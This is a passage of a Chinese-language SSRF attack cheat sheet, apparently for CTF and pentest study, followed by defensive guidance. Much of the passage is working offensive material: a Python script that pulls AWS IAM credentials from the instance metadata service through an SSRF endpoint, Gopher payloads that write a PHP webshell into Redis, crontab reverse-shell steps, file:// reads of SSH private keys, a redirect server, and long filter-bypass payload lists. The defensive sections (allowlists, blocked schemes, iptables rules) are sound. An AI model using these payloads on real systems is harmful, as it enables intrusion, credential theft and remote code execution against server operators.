http://kubernetes.default.svc/api/v1/namespaces/default/secrets

9.4 云凭证利用脚本

#!/usr/bin/env python3
"""
AWS SSRF 凭证提取与利用
"""
import requests

SSRF_URL = "http://vulnerable-site.com/fetch?url="

def ssrf_get(url):
    """通过 SSRF 发起 GET 请求"""
    resp = requests.get(f"{SSRF_URL}{url}", timeout=5)
    return resp.text

def steal_aws_credentials():
    """窃取 AWS IAM 凭证"""
    base = "http://169.254.169.254/latest/meta-data"

    print("[*] 检查 IAM 角色...")
    roles_resp = ssrf_get(f"{base}/iam/security-credentials/")
    if not roles_resp:
        print("[-] 无 IAM 角色或无法访问元数据")
        return

    roles = [r.strip() for r in roles_resp.split('\n') if r.strip()]
    print(f"[+] 发现 IAM 角色: {roles}")

    for role in roles:
        print(f"\n[*] 获取角色 {role} 的凭证...")
        creds = ssrf_get(f"{base}/iam/security-credentials/{role}")
        print(f"[+] 凭证:\n{creds}")

    print("\n[*] 获取其他实例信息...")
    for path in ['instance-id', 'local-ipv4', 'public-ipv4', 'public-hostname']:
        val = ssrf_get(f"{base}/{path}")
        print(f"    {path}: {val}")

    print("\n[*] 读取用户数据(可能含密码)...")
    userdata = ssrf_get("http://169.254.169.254/latest/user-data")
    if userdata:
        print(f"[+] User-data:\n{userdata}")

steal_aws_credentials()

十、SSRF 转 RCE

10.1 攻击链总览

SSRF → RCE 常见路径:

① SSRF → Redis 未授权 → 写 WebShell → RCE
② SSRF → Redis 未授权 → 写 crontab → 反弹 Shell
③ SSRF → Redis 未授权 → 写 SSH 公钥 → SSH 登录
④ SSRF → FastCGI → PHP 代码执行 → RCE
⑤ SSRF → Jenkins Script Console → Groovy RCE
⑥ SSRF → Docker API → 创建特权容器 → 容器逃逸 → 宿主机 RCE
⑦ SSRF → Kubernetes API → 创建特权 Pod → 宿主机 RCE
⑧ SSRF → Memcached 投毒 → 触发反序列化 → RCE
⑨ SSRF → JNDI(LDAP/RMI)→ Java 反序列化 → RCE
⑩ SSRF → internal API → 命令注入 → RCE

10.2 Redis 未授权 RCE 完整流程

# 验证 Redis 是否可访问(无密码)
# 方法一:dict 协议探测
?url=dict://127.0.0.1:6379/info
# 若返回 Redis 信息,确认无鉴权访问

# 方法二:gopher 协议发送 PING 命令
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A
# 若返回 +PONG,确认可访问

# ══ 攻击方式一:写 WebShell ══
# 使用 Gopherus 生成:
python gopherus.py --exploit redis
# 选择 PHP Webshell,输入 web 目录路径
# 得到 Gopher URL,发送到 SSRF 漏洞

# 手动 Gopher URL(简化版,实际需要完整 RESP 格式)
# 命令:SET, CONFIG SET dir, CONFIG SET dbfilename, SAVE

# ══ 攻击方式二:计划任务反弹 Shell ══
python gopherus.py --exploit redis
# 选择 Linux-Crontab,输入 VPS IP 和端口
# 监听端口:nc -lvnp 4444

# ══ 攻击方式三:写 SSH 公钥 ══
# 先生成 SSH 密钥对
ssh-keygen -t rsa -f /tmp/ssrf_key -P ""
# 公钥内容写入 Redis
python gopherus.py --exploit redis
# 选择 SSH Public Key 攻击
# 输入公钥内容(cat /tmp/ssrf_key.pub)
# 之后 ssh -i /tmp/ssrf_key root@target-ip

10.3 Memcached 缓存投毒

Memcached 协议(文本格式):
  set <key> <flags> <exptime> <bytes>\r\n
  <value>\r\n

通过 Dict 单命令注入(仅能设置简单值):
  dict://127.0.0.1:11211/set:key:0:3600:value

通过 Gopher 发送完整协议:
  set cache_key 0 3600 100\r\n
  <?php system($_GET['cmd']); ?>\r\n

投毒场景:
  若应用程序将 PHP 代码从缓存读取后 eval,
  可以注入恶意 PHP 代码到缓存 → 触发 eval → RCE

  若应用程序缓存 HTML 内容,
  可以注入 XSS Payload

十一、SSRF 转 XXE

SSRF 与 XXE 可以相互触发:

① XXE → SSRF:
   在 XXE Payload 中使用 http:// 外部实体
   → XML 解析器发起 HTTP 请求
   → 用于内网探测

② SSRF → XXE:
   SSRF 访问内网 XML 处理服务
   → 该服务解析 SSRF 传来的 XML
   → 触发第二层 XXE

③ SSRF + XML Content-Type:
   某些内网服务接受 XML 格式请求
   通过 Gopher 发送包含 XXE 的 XML
   → 触发内网服务的 XXE

Gopher 发送 XML 到内网服务:
gopher://127.0.0.1:8080/_POST%20/parse%20HTTP%2F1.1%0D%0A
Host:%20127.0.0.1%3A8080%0D%0A
Content-Type:%20application%2Fxml%0D%0A
Content-Length:%20xxx%0D%0A
%0D%0A
%3C%3Fxml%20version%3D%221.0%22%3F%3E
%3C!DOCTYPE%20foo%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E
%3Cfoo%3E%26xxe%3B%3C%2Ffoo%3E

十二、URL 解析绕过

12.1 URL 解析差异

# 不同库对同一 URL 的解析差异可用于绕过过滤

# ══ @ 符号绕过 ══
# URL 中 @ 之前是用户名密码,@ 之后才是主机
# http://allowed.com@192.168.1.1/
# 规范解析:主机=192.168.1.1, 用户名=allowed.com
# 某些过滤器只检查 @ 之前的部分

import urllib.parse
url = "http://allowed.com@192.168.1.1/admin"
parsed = urllib.parse.urlparse(url)
print(f"netloc: {parsed.netloc}")  # allowed.com@192.168.1.1
print(f"hostname: {parsed.hostname}")  # 192.168.1.1

# ══ # 符号混淆 ══
# http://192.168.1.1#allowed.com
# 片段标识符(fragment)不发送到服务器
# 某些过滤器可能误判主机为 192.168.1.1#allowed.com

# ══ ? 混淆 ══
# http://192.168.1.1?.allowed.com/
# 某些解析器将 ? 后的部分视为查询,主机是 192.168.1.1

# ══ 多级 @(HTTP 基本认证格式)══
# http://user:pass@192.168.1.1@allowed.com/
# 不同实现中主机解析可能不同

# ══ URL 片段差异利用 ══
tests = [
    "http://allowed.com@192.168.1.1/",
    "http://192.168.1.1/allowed.com",
    "http://192.168.1.1?.allowed.com",
    "http://192.168.1.1#.allowed.com",
]
for t in tests:
    p = urllib.parse.urlparse(t)
    print(f"{t!r} → host={p.hostname}")

12.2 路径混淆

# ══ 路径穿越 ══
http://allowed.com/path/../../../etc/passwd
# 若服务器跟随 Location 重定向,可能访问本地文件

# ══ URL 编码路径 ══
http://127.0.0.1/%2F%2Fetc%2Fpasswd
# 某些服务器对路径进行 URL 解码后访问

# ══ 双斜杠绕过 ══
http:///127.0.0.1/
file:////etc/passwd
# 某些实现对多余斜杠的处理方式不同

# ══ 反斜杠(Windows 场景)══
http://127.0.0.1\allowed.com
# Windows 路径中反斜杠有效,可能绕过路径检查

十三、IP 地址绕过

13.1 IP 编码变体

# ══ 十进制 IP ══
# 127.0.0.1 各段转十进制后合并
# 127.0.0.1 = 127*256^3 + 0*256^2 + 0*256 + 1 = 2130706433
# http://2130706433/
import socket, struct
ip = "127.0.0.1"
packed = socket.inet_aton(ip)
decimal = struct.unpack("!I", packed)[0]
print(f"{ip} → 十进制: {decimal}")  # 2130706433

# ══ 八进制 IP ══
# 127.0.0.1 → 0177.0.0.01
# 每段转八进制(加0前缀)
# http://0177.0.0.1/
# http://0177.0.0.01/   (0177 = 127)
parts = [int(x) for x in "127.0.0.1".split('.')]
octal_ip = ".".join(oct(p) for p in parts)  # 0o177.0x0.0o0.0o1
print(f"八进制: {octal_ip}")
# → 0177.00.00.01

# ══ 十六进制 IP ══
# 127.0.0.1 → 0x7f.0x00.0x00.0x01 → 0x7f000001
# http://0x7f000001/     (十六进制无点)
# http://0x7f.0x00.0x00.0x01/  (十六进制有点)
hex_parts = [hex(int(x)) for x in "127.0.0.1".split('.')]
print(f"十六进制有点: {'.'.join(hex_parts)}")  # 0x7f.0x0.0x0.0x1
hex_int = hex(decimal)
print(f"十六进制无点: {hex_int}")  # 0x7f000001

# ══ 混合格式 ══
# http://127.0.0.0x01/    (最后段十六进制)
# http://0177.0.0.0x01/   (混合八进制和十六进制)
# http://127.1/            (省略中间零段)
# http://127.0.1/          (省略一个零段)

# ══ 常见内网 IP 的编码变体 ══
def encode_ip(ip):
    parts = [int(x) for x in ip.split('.')]
    packed = socket.inet_aton(ip)
    decimal = struct.unpack("!I", packed)[0]

    print(f"\nIP: {ip}")
    print(f"  十进制:    {decimal}")
    print(f"  十六进制:  {hex(decimal)}")
    print(f"  八进制:    {'.'.join(oct(p) for p in parts)}")
    print(f"  省略格式:  {parts[0]}.{parts[3]}")  # 仅对某些IP有效

for ip in ["127.0.0.1", "0.0.0.0", "192.168.1.1"]:
    encode_ip(ip)

13.2 特殊 IP 地址

# 指向 localhost 的特殊地址:
127.0.0.1          标准回环地址
127.0.0.2          ~ 127.255.255.254  均指向本机(lo 接口)
127.1              省略格式
127.0.1            省略格式
0.0.0.0            在某些上下文指向本机
0                  十进制 0,某些系统解析为 127.0.0.1
localhost          主机名(DNS 解析)
[::1]              IPv6 回环
[0:0:0:0:0:0:0:1]  IPv6 完整回环
[::]               IPv6 所有地址(含 0.0.0.0)
[::ffff:127.0.0.1] IPv4 映射的 IPv6 地址
[::ffff:7f00:1]    十六进制 IPv4 映射 IPv6

# CIDR 内的特殊地址:
192.168.0.0        网络地址
192.168.0.255      广播地址
10.0.0.0/8         内网 A 类
172.16.0.0/12      内网 B 类
192.168.0.0/16     内网 C 类
169.254.0.0/16     链路本地(AWS 元数据)

13.3 IPv6 绕过

# IPv6 表示的 localhost
http://[::1]/
http://[0:0:0:0:0:0:0:1]/
http://[0000:0000:0000:0000:0000:0000:0000:0001]/
http://[::ffff:127.0.0.1]/    IPv4 映射格式
http://[::ffff:7f00:0001]/    十六进制映射

# 某些防火墙只过滤 IPv4,IPv6 可以绕过

# IPv6 地址压缩规则:
# 连续零组可用 :: 替代(只能用一次)
# 每组前导零可省略
# 2001:0db8:0000:0000:0000:0000:0000:0001
# → 2001:db8::1

# 绕过检测 127.0.0.1 的 WAF:
# [::ffff:127.0.0.1] 与 127.0.0.1 功能相同
# [::ffff:0:1] = [::ffff:0.0.0.1] = 127.0.0.1(变体)

十四、域名与 DNS 绕过

14.1 域名指向内网

# 注册一个指向内网地址的域名
# 例:在 DNS 解析中将 attacker.com A 记录设为 127.0.0.1
# 绕过仅检查域名黑白名单而不检查解析结果的过滤器

# 公开的重定向内网域名服务:
# nip.io    → 127.0.0.1.nip.io 解析为 127.0.0.1
# xip.io    → 127.0.0.1.xip.io 解析为 127.0.0.1
# sslip.io  → 127.0.0.1.sslip.io 解析为 127.0.0.1

# 利用方式:
?url=http://127.0.0.1.nip.io/
?url=http://192.168.1.1.nip.io/
?url=http://10.0.0.1.nip.io/

# 这些域名 DNS 解析返回对应的 IP
# 若过滤器只检查域名(不检查解析结果)→ 绕过!

# 更多变体:
?url=http://127.0.0.1.nip.io:8080/
?url=http://192.168.1.100.nip.io/admin

# subdomain 变体:
?url=http://foo.127.0.0.1.nip.io/

14.2 DNS 重绑定攻击(DNS Rebinding)

DNS 重绑定(DNS Rebinding)绕过基于域名的过滤:

攻击流程:
  1. 攻击者控制 evil.com 的 DNS,设置 TTL=0
  2. 服务器第一次解析 evil.com → 返回公网 IP(通过白名单检查)
  3. 服务器准备发起请求
  4. 攻击者立即修改 DNS,evil.com → 内网 IP(如 127.0.0.1)
  5. 服务器 TTL 过期,重新解析 evil.com → 获取内网 IP
  6. 服务器以为在访问合法的 evil.com,实际上访问了内网!

工具:
  - Singularity(DNS Rebinding 攻击框架)
    https://github.com/nccgroup/singularity
  - whonow(可控 DNS 服务器)
    https://github.com/brannondorsey/whonow

防御:
  DNS 解析后立即验证 IP 是否在黑名单
  (TOCTOU 竞争条件难以完全防御)

14.3 URL 跳转/重定向绕过

# 若服务器允许跟随 HTTP 重定向,
# 在攻击者控制的域名上配置重定向到内网地址

# 方法一:服务器端 302 重定向
# attacker.com/redirect → 302 Location: http://192.168.1.1/

# Flask 重定向服务器示例
from flask import Flask, redirect

app = Flask(__name__)

@app.route('/redirect')
def do_redirect():
    return redirect("http://169.254.169.254/latest/meta-data/", 302)

@app.route('/redis')
def redis_redirect():
    # 重定向到内网 Redis
    return redirect("gopher://127.0.0.1:6379/_PING", 302)

# 方法二:meta refresh
# <meta http-equiv="refresh" content="0;url=http://192.168.1.1/">

# 方法三:JavaScript 重定向(仅限浏览器场景)
# window.location = "http://192.168.1.1/"

# 利用:
# ?url=http://attacker.com/redirect
# 若服务器跟随重定向 → 访问 http://192.168.1.1/

# 绕过两次:先绕过域名白名单,再重定向到内网

十五、协议绕过

15.1 绕过协议黑名单

# 当 file:// 被封锁时的替代协议

# PHP 环境
php://filter/read=convert.base64-encode/resource=/etc/passwd
php://input
data://text/plain,test

# Java 环境
jar:file:///etc/passwd!/
netdoc:///etc/passwd

# 绕过 http:// 黑名单(访问内网 HTTP 服务)
https://127.0.0.1/           若只过滤 http://,https 可绕过
http://127.1/                省略格式
http://0/                    十进制0 = 127.0.0.1(部分系统)
http://[::1]/                IPv6 格式
http://localhost/             主机名

# 利用重定向绕过协议限制
# 服务器:只允许 http://
# 攻击者:http:// → 302 → gopher://(若跟随重定向时协议切换不受限)

15.2 协议走私(Protocol Smuggling)

# 利用协议解析差异进行绕过

# ══ URL Scheme 大小写 ══
HTTP://127.0.0.1/
Http://127.0.0.1/
hTTp://127.0.0.1/
FILE:///etc/passwd
fIlE:///etc/passwd

# ══ 协议前缀变体 ══
# 某些框架在处理 URL 时会去除额外字符
///127.0.0.1/        (三斜杠,省略 scheme)
////127.0.0.1/       (四斜杠)
\127.0.0.1\          (反斜杠,Windows 路径格式)

# ══ 利用 CRLF 注入走私请求 ══
# 若 URL 参数被插入 HTTP 请求头
# http://target.com/proxy?url=http://internal%0D%0AX-Header: injected

15.3 绕过端口限制

# 当只允许访问特定端口(如 80/443)时

# ══ 利用端口混淆 ══
http://127.0.0.1:80@127.0.0.1:6379/     某些解析:端口=6379
http://127.0.0.1:6379%23:80/            % 编码 # 混淆
http://127.0.0.1:6379%0D%0A/            CRLF 截断端口

# ══ 利用服务端重定向 ══
# 服务端检查第一次请求的端口(80/443),通过后跟随重定向到任意端口

# ══ 利用 URL Fragment ══
http://127.0.0.1:80/#127.0.0.1:6379
# Fragment 后的内容不发送到服务器,某些解析器可能误判

# ══ 默认端口省略 ══
http://127.0.0.1/            = http://127.0.0.1:80/
https://127.0.0.1/           = https://127.0.0.1:443/
ftp://127.0.0.1/             = ftp://127.0.0.1:21/

十六、参数注入绕过

16.1 Open Redirect 参数注入

# 利用已有的 Open Redirect 漏洞绕过 SSRF 过滤

# 场景:应用只允许特定域名,但该域名存在 Open Redirect
?url=https://allowed-domain.com/redirect?to=http://192.168.1.1/

# 常见 Open Redirect 参数名:
# url= / redirect= / next= / return= / to= / goto= / r=
# 组合利用:SSRF 漏洞 + 目标域名的 Open Redirect

# 示例:
?url=https://accounts.google.com/ServiceLogin?continue=http://127.0.0.1/
?url=https://trusted.com/logout?redirect=http://192.168.1.1:8080/

16.2 参数污染绕过

# HTTP 参数污染(HPP)
# 某些框架对重复参数的处理不同

?url=http://allowed.com&url=http://127.0.0.1/
# 若后端只取第一个 url → 检查通过,实际用第二个?

# URL 参数中的 URL
?url=http://allowed.com/fetch?src=http://127.0.0.1/
# 若后端对 src 参数进行二次请求 → SSRF

# 在允许的 URL 中拼接路径穿越
?url=http://allowed.com/../../../127.0.0.1/admin
# 若服务器对相对路径进行规范化处理

16.3 Content-Type 与请求体绕过

# 某些接口通过修改 Content-Type 触发不同的解析逻辑

# JSON → XML(触发 XML 解析,进而 XXE → SSRF)
Content-Type: application/xml
body: <?xml version="1.0"?>
      <!DOCTYPE foo [<!ENTITY ssrf SYSTEM "http://internal/">]>
      <foo>&ssrf;</foo>

# 通过 multipart/form-data 绕过
Content-Type: multipart/form-data; boundary=----
------
Content-Disposition: form-data; name="url"
http://127.0.0.1/
------

# 通过 JSON 嵌套 URL
{"callback": "http://allowed.com", "target": "http://127.0.0.1/"}
# 若后端误用了 target 字段

十七、CTF 实战思路

17.1 SSRF 解题流程

发现 SSRF 入口
    │
    ├── 参数特征:url= / link= / src= / target= / path=
    ├── 功能特征:图片下载/URL预览/Webhook/数据导入
    └── 请求特征:服务器返回远程内容
    │
    ↓
确认 SSRF 存在
    ├── 访问自己的服务器(Collaborator/DNSlog)
    ├── 访问 http://127.0.0.1/(检查响应差异)
    └── 测试 file:///etc/passwd(有无文件读取)
    │
    ↓
确定支持的协议
    ├── file://   → 文件读取
    ├── gopher:// → TCP 原始数据(最强)
    ├── dict://   → 单行命令
    ├── http://   → HTTP 请求(基础)
    └── ftp://    → FTP 协议
    │
    ↓
内网信息收集
    ├── 读取 /proc/net/tcp → 内网开放端口
    ├── 读取 /etc/hosts → 内网域名
    ├── 扫描常见端口(6379/3306/27017/9200...)
    └── 识别服务类型
    │
    ↓
针对性攻击
    ├── Redis 未授权 → Gopher 写 WebShell
    ├── FastCGI → Gopher 执行 PHP
    ├── Jenkins → 访问 /script 执行 Groovy
    ├── Docker API → 创建特权容器
    ├── 云元数据 → 窃取 IAM 凭证
    └── 内网 Web 应用 → 二次攻击

17.2 各协议 Payload 速查

# ── file:// 文件读取 ──
?url=file:///etc/passwd
?url=file:///etc/hosts
?url=file:///proc/self/environ
?url=file:///var/www/html/.env
?url=file:///root/.ssh/id_rsa

# ── http:// 内网探测 ──
?url=http://127.0.0.1/
?url=http://127.0.0.1:6379/    # Redis
?url=http://127.0.0.1:9200/    # Elasticsearch
?url=http://127.0.0.1:8080/    # Tomcat/Jenkins
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/  # AWS

# ── dict:// Redis 操作 ──
?url=dict://127.0.0.1:6379/info
?url=dict://127.0.0.1:6379/config:get:dir
?url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
?url=dict://127.0.0.1:6379/config:set:dbfilename:shell.php

# ── gopher:// Redis(PING 测试)──
?url=gopher://127.0.0.1:6379/_%2A1%0D%0A%244%0D%0APING%0D%0A

# ── gopher:// HTTP 请求(访问内网 HTTP 服务)──
# GET 请求
gopher://127.0.0.1:8080/_GET%20/admin%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A8080%0D%0AConnection%3A%20close%0D%0A%0D%0A

# ── gopher:// FastCGI(使用 Gopherus 生成)──
python gopherus.py --exploit fastcgi

# ── php:// 读取 PHP 源码(PHP SSRF)──
?url=php://filter/convert.base64-encode/resource=/var/www/html/index.php

17.3 常见 CTF 题型

题型一:有回显 SSRF 读取 /flag
  → file:///flag 或 file:///flag.txt

题型二:SSRF 访问内网 HTTP 服务获取 flag
  → http://127.0.0.1:8080/secret
  → 扫描常见端口找到内网服务

题型三:SSRF + Redis 写 WebShell
  → Gopher 发送 Redis 命令写入 PHP WebShell
  → 访问 WebShell 执行命令

题型四:SSRF + Gopher + FastCGI
  → 利用 Gopherus 生成 FastCGI Payload
  → 执行 PHP 代码

题型五:SSRF 读取云元数据
  → 访问 169.254.169.254 获取 IAM 凭证
  → 用凭证访问 AWS S3/EC2 找到 flag

题型六:URL 过滤绕过
  → 各种 IP 编码绕过黑名单
  → 域名指向内网(nip.io / DNS 重绑定)

题型七:协议限制绕过
  → 只允许 http 时通过重定向访问 file://
  → 使用 gopher:// 绕过无法 POST 的限制

题型八:SSRF + SSRF(链式)
  → 第一层 SSRF 访问内网服务
  → 内网服务存在第二层 SSRF
  → 最终到达目标资源

17.4 工具推荐速查

# ── Gopherus(Gopher Payload 生成)──
git clone https://github.com/tarunkant/Gopherus
python gopherus.py --exploit redis      # Redis 攻击
python gopherus.py --exploit fastcgi    # FastCGI 攻击
python gopherus.py --exploit mysql      # MySQL 攻击
python gopherus.py --exploit memcache   # Memcached 投毒
python gopherus.py --exploit smtp       # SMTP 邮件

# ── SSRFmap(SSRF 利用框架)──
git clone https://github.com/swisskyrepo/SSRFmap
python ssrfmap.py -r request.txt -p url -m readfiles
python ssrfmap.py -r request.txt -p url -m redis

# ── Interactsh(带外请求捕获)──
# https://github.com/projectdiscovery/interactsh
./interactsh-client  # 获取唯一域名,监控所有交互

# ── Burp Collaborator ──
# 在 Burp Suite 中内置的带外请求捕获服务

# ── SSRF 探测脚本(自写)──
# 见第 4 章的端口扫描脚本

十八、防御措施

18.1 白名单验证(核心防御)

from urllib.parse import urlparse
import ipaddress
import socket
import re

# ── 方法一:严格的域名白名单 ──
ALLOWED_HOSTS = {'api.example.com', 'cdn.example.com', 'trusted.com'}

def is_allowed_url(url: str) -> bool:
    """检查 URL 是否在白名单中"""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False  # 只允许 HTTP/HTTPS

        hostname = parsed.hostname
        if hostname not in ALLOWED_HOSTS:
            return False

        # 额外:验证解析后的 IP 也不是内网(防 DNS 重绑定)
        try:
            ip = socket.gethostbyname(hostname)
            if is_private_ip(ip):
                return False
        except socket.gaierror:
            return False

        return True
    except Exception:
        return False

# ── 方法二:阻止私有 IP(黑名单)──
PRIVATE_IP_RANGES = [
    ipaddress.ip_network('127.0.0.0/8'),    # 回环
    ipaddress.ip_network('10.0.0.0/8'),     # 内网 A
    ipaddress.ip_network('172.16.0.0/12'),  # 内网 B
    ipaddress.ip_network('192.168.0.0/16'), # 内网 C
    ipaddress.ip_network('169.254.0.0/16'), # 链路本地(云元数据)
    ipaddress.ip_network('::1/128'),        # IPv6 回环
    ipaddress.ip_network('fc00::/7'),       # IPv6 私有
    ipaddress.ip_network('0.0.0.0/8'),      # 本机
    ipaddress.ip_network('100.64.0.0/10'),  # CGNAT
]

def is_private_ip(ip_str: str) -> bool:
    """检查 IP 是否为私有/保留地址"""
    try:
        ip = ipaddress.ip_address(ip_str)
        return any(ip in network for network in PRIVATE_IP_RANGES)
    except ValueError:
        return True  # 无效 IP,视为危险

def safe_request(url: str) -> bytes:
    """安全的 HTTP 请求函数"""
    try:
        parsed = urlparse(url)

        # 1. 只允许 http/https
        if parsed.scheme not in ('http', 'https'):
            raise ValueError(f"Disallowed scheme: {parsed.scheme}")

        # 2. 解析主机名为 IP
        hostname = parsed.hostname
        ip = socket.gethostbyname(hostname)

        # 3. 检查 IP 是否为私有地址
        if is_private_ip(ip):
            raise ValueError(f"Private IP not allowed: {ip}")

        # 4. 发起请求(使用解析后的 IP,防止 DNS 重绑定)
        import requests
        resp = requests.get(
            url,
            timeout=5,
            allow_redirects=False,  # 禁止自动跟随重定向!
            verify=True             # 验证 SSL 证书
        )
        return resp.content

    except Exception as e:
        raise ValueError(f"SSRF protection blocked: {e}")

18.2 禁用危险协议

import re
from urllib.parse import urlparse

# 允许的协议白名单
ALLOWED_SCHEMES = {'http', 'https'}

# 禁止的协议黑名单(不推荐单独使用,可作为补充)
BLOCKED_SCHEMES = {
    'file', 'gopher', 'dict', 'ftp', 'sftp', 'tftp',
    'ldap', 'ldaps', 'jar', 'netdoc', 'phar',
    'php', 'data', 'expect', 'zip', 'zlib'
}

def validate_url_scheme(url: str) -> bool:
    parsed = urlparse(url.lower())
    if parsed.scheme not in ALLOWED_SCHEMES:
        return False
    if parsed.scheme in BLOCKED_SCHEMES:
        return False
    return True

# PHP 安全配置(php.ini)
# 禁用危险协议的 stream wrapper
# allow_url_fopen = Off      # 禁止 URL 文件访问
# allow_url_include = Off    # 禁止 URL include

# PHP 代码中禁用协议
$url = $_GET['url'];
$parsed = parse_url($url);
$allowed_schemes = ['http', 'https'];
if (!in_array($parsed['scheme'], $allowed_schemes)) {
    die("Protocol not allowed");
}

18.3 网络层防护

# ── iptables 规则:阻止 Web 进程访问内网 ──

# 阻止 www-data 用户向内网发起请求
iptables -A OUTPUT -m owner --uid-owner www-data -d 10.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 172.16.0.0/12 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 192.168.0.0/16 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 127.0.0.0/8 -j DROP
iptables -A OUTPUT -m owner --uid-owner www-data -d 169.254.0.0/16 -j DROP

# 只允许访问特定外网 IP
iptables -A OUTPUT -m owner --uid-owner www-data -d 1.2.3.4 -j ACCEPT  # 允许特定 IP
iptables -A OUTPUT -m owner --uid-owner www-data -j DROP  # 默认拒绝

# ── 使用 egress 过滤代理 ──
# 配置 Web 应用通过代理发起外部请求
# 在代理层实施白名单控制
export HTTP_PROXY=http://safe-proxy:3128
export HTTPS_PROXY=http://safe-proxy:3128

18.4 代码层安全实践

# ── 使用安全的 HTTP 客户端库 ──

# 推荐:带 SSRF 防护的 requests 封装
import requests
from urllib.parse import urlparse
import ipaddress
import socket

class SafeSession(requests.Session):
    """防 SSRF 的 HTTP 会话"""

    BLOCKED_NETWORKS = [
        ipaddress.ip_network('127.0.0.0/8'),
        ipaddress.ip_network('10.0.0.0/8'),
        ipaddress.ip_network('172.16.0.0/12'),
        ipaddress.ip_network('192.168.0.0/16'),
        ipaddress.ip_network('169.254.0.0/16'),
        ipaddress.ip_network('::1/128'),
    ]

    def request(self, method, url, **kwargs):
        self._check_url(url)
        kwargs.setdefault('allow_redirects', False)  # 默认不跟随重定向
        kwargs.setdefault('timeout', 5)
        return super().request(method, url, **kwargs)

    def _check_url(self, url):
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            raise ValueError(f"Blocked scheme: {parsed.scheme}")

        hostname = parsed.hostname
        try:
            ips = socket.getaddrinfo(hostname, None)
            for result in ips:
                ip_str = result[4][0]
                ip = ipaddress.ip_address(ip_str)
                for network in self.BLOCKED_NETWORKS:
                    if ip in network:
                        raise ValueError(f"Blocked IP: {ip_str} → {network}")
        except socket.gaierror:
            raise ValueError(f"DNS resolution failed: {hostname}")

# 使用示例
session = SafeSession()
response = session.get("https://api.external.com/data")  # 安全
response = session.get("http://192.168.1.1/")  # → 抛出异常

18.5 防御检查清单

核心防御(必须):
  ✅ 使用白名单验证目标 URL(域名/IP/端口)
  ✅ 只允许 HTTP/HTTPS 协议,禁用 file/gopher/dict 等
  ✅ 解析主机名后验证 IP 不在内网/保留地址范围
  ✅ 禁止服务器跟随 HTTP 重定向(或对重定向目标二次验证)
  ✅ 使用网络层防火墙隔离 Web 进程的出站请求

输入验证:
  ✅ 验证 URL scheme(只允许 http/https)
  ✅ 验证主机名(白名单 > 黑名单)
  ✅ 验证端口(只允许 80/443 或业务需要的端口)
  ✅ 解析主机名后检查是否为私有 IP

请求控制:
  ✅ 设置合理的超时时间(防止 DoS)
  ✅ 限制响应体大小
  ✅ 不将响应内容直接返回给用户(防止信息泄露)
  ✅ 记录所有外发请求日志(审计)

云环境特殊防护:
  ✅ 启用 AWS IMDSv2(禁用 IMDSv1)
  ✅ 使用 GCP Metadata-Flavor 头强制验证
  ✅ 对元数据接口配置额外的访问控制
  ✅ 最小权限 IAM 角色,避免过度授权

架构层面:
  ✅ Web 应用与内网核心服务隔离
  ✅ 内网服务不依赖 IP 白名单作为唯一认证
  ✅ 部署 WAF 检测 SSRF 特征
  ✅ 使用 RASP 在运行时拦截危险请求

附录

A. 常见内网服务指纹速查

服务 默认端口 识别特征 常见攻击方式
Redis 6379 +PONG / Redis 版本信息 Gopher 写 WebShell / 计划任务
MySQL 3306 MySQL 握手包 Gopher SELECT INTO OUTFILE
MongoDB 27017 "looks like you are trying…" HTTP API 直接访问
Memcached 11211 STAT 信息 Gopher 缓存投毒
Elasticsearch 9200 JSON 集群信息 HTTP 直接读数据
FastCGI 9000 无 HTTP 响应 Gopher 执行 PHP
Zookeeper 2181 imok 响应 mntr/dump 命令
Docker API 2375 JSON 版本信息 创建特权容器
Jenkins 8080 Jenkins HTML 页面 /script Groovy RCE
Consul 8500 JSON API 响应 读取 KV/服务注册
Kubernetes 10250 TLS / API 响应 Pod 命令执行
RabbitMQ 15672 管理界面 HTML 默认 guest/guest

B. IP 编码速查

# 127.0.0.1 的各种表示
ip_variants = [
    "127.0.0.1",           # 标准
    "localhost",           # 主机名
    "127.1",               # 省略
    "127.0.1",             # 省略
    "2130706433",          # 十进制
    "0x7f000001",          # 十六进制(无点)
    "0x7f.0x0.0x0.0x1",   # 十六进制(有点)
    "0177.0.0.1",          # 八进制
    "0177.0.0.01",         # 八进制变体
    "[::1]",               # IPv6 回环
    "[::ffff:127.0.0.1]",  # IPv4 映射 IPv6
    "[::ffff:7f00:1]",     # 十六进制 IPv4 映射
    "0.0.0.0",             # 所有接口
    "0",                   # 十进制 0
    "127.0.0.1.nip.io",    # nip.io 服务
]

C. Gopher Payload 生成速查

#!/usr/bin/env python3
"""Gopher Payload 快速生成"""
import urllib.parse

def gopher(host, port, data: bytes) -> str:
    encoded = urllib.parse.quote(data, safe='')
    return f"gopher://{host}:{port}/_{encoded}"

# Redis PING
redis_ping = b"*1\r\n$4\r\nPING\r\n"
print(gopher("127.0.0.1", 6379, redis_ping))

# Redis 写 WebShell(简化)
redis_webshell = (
    b"*1\r\n$8\r\nflushall\r\n"
    b"*3\r\n$3\r\nset\r\n$6\r\nshell1\r\n$33\r\n\n\n<?php system($_GET[cmd]);?>\n\n\r\n"
    b"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n"
    b"*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n"
    b"*1\r\n$4\r\nsave\r\n"
)
print(gopher("127.0.0.1", 6379, redis_webshell))

# HTTP GET 请求
http_get = b"GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"
print(gopher("127.0.0.1", 8080, http_get))

D. WAF 绕过速查表

过滤目标 绕过方法 示例
127.0.0.1 十进制 IP 2130706433
127.0.0.1 十六进制 IP 0x7f000001
127.0.0.1 八进制 IP 0177.0.0.1
127.0.0.1 IPv6 格式 [::1] / [::ffff:127.0.0.1]
127.0.0.1 省略格式 127.1 / 127.0.1
localhost IP 替代 以上各种 IP 格式
